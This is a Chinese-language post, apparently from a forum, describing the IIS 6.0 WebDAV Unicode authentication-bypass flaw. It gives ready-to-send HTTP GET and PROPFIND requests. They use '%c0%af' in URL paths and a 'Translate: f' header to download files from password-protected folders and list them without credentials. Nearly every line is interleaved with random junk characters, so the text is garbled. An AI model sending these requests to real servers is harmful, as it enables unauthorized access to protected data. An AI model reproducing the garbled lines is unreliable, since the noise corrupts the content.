|
漏洞发现者:Nikolaos Rangos. `5 [. S4 a* V' t6 u
具体漏洞存在于带WebDAV功能的IIS 6.0中
8 S" \% ~! s3 c- g% d& E( IWeb服务器没有正确地处理Unicode命令的URI时,解析和发送回的数据.
8 G0 I% s( M7 E2 j假设有一个密码保护文件夹d:\inetpub\wwwroot\protected\
) h# e7 t- v" \: Q# D此文件夹内有一个名为 protected.zip "
8 F1 ~7 u( i2 h' C; z. k. B& X向服务器发送一个HTTP GET请求+ r% b1 }' n+ a0 A8 B
GET / %c0%af/protected/protected.zip HTTP/1.11 j( z& E/ R+ p2 q" d# F) W0 ~% F
Translate: f
/ b0 n- h$ `5 T5 B) r( x7 S Connection: close
3 u5 y- o" [& [1 j Host: servernameMu
- f. i/ ]$ G4 q D指示Web服务器处理请求使用 WebDAV的
2 C2 t' @: z2 X1 X7 g利用这种恶意的URI构建网络服务器发送文件到# S0 Y) p2 B- s- A
/protected/ protected.zip ”而不要求进行适当的验证3 k: b; u/ {/ ^# r7 J3 Q
另一个有效的请求可能会传送到Web服务器是: GET /prot%c0%afected/protected.zip HTTP/1.1) M4 Z( ~" m e. H' a1 j8 E
Translate: f $ a* `4 J& f7 k0 S( t
Connection: close
% H; V& e- H/ k! R1 N Host: servername
8 P9 @7 L' R: O) V* s7 S5 @& j. ~IIS 6.0中将会删除„%c0%af” 的请求,并发送回密码保护文件而不验证.
6 x$ u6 D& L- KASP脚本不能下载,除非以这种方式提供服务的脚本源代码是启用的 9 ~! b. u- d8 _5 w& P! ^. N5 G
可以绕过访问限制的,密码保护文件夹和列表,下载,上传和修改文件
}8 W* s8 ~- F& w, _Copy code PROPFIND /protec%c0%afted/ HTTP/1.1
. H: @9 {3 V) {5 J6 x Host: servername" v( n/ l$ \! N u
User-Agent: neo/0.12.2 1 L3 a, y' Y$ L$ W
Connection: TE
8 C5 z# C; u3 E/ A TE: trailers 6 D% T8 \2 @$ o" J; V* H. K
Depth: 1
( T% F b! i _8 F3 J$ X Content-Length: 288
# D. J( m1 k+ e Content-Type: application/xml
$ K0 K9 x7 G+ D& C <?xml version="1.0" encoding="utf-8"?>
3 J4 {+ E# p2 b; O1 W% y; [- U2 ~ <propfind xmlns="DAV:"><prop>6 m- Q2 r1 l2 A( y8 {
<getcontentlength xmlns="DAV:"/>2 e7 a0 Z; j2 s3 ] n. ~' e
<getlastmodified xmlns="DAV:"/>
7 u5 } b9 Q9 ?% B <executable xmlns="http://apache.org/dav/props/"/>
/ C5 J/ W; r7 s# n <resourcetype xmlns="DAV:"/> O1 r. m6 u! I2 A4 a8 d! z9 I2 y, P
<checked-in xmlns="DAV:"/> 1 Y" {- C. p9 U" j1 @* K
<checked-out xmlns="DAV:"/>
/ A }8 a s% W8 t </prop></propfind> IIS的回应的目录列表的文件夹中没有要求输入密码 # {- d( R6 p; E6 s7 a
|